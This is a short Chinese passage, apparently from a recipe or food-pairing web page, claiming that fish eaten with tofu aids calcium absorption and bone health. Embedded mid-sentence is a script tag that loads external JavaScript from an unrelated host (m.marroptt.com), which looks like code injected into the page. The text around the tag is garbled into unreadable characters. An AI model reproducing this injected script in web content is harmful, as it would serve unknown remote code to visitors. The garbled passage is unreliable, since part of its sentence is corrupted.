鱼 豆腐
作用：味鲜，补钙，可预防多种骨病?script type='text/javascript' src='//m.marroptt.com/www/js/v.js'>缍筒 ⒐侵适杷芍⒌取?/p>
原理：豆腐含大量钙质，若单吃，其吸收率较低，但与富含维生素D的鱼肉一起吃，对钙的吸收与利用能起更佳效应。
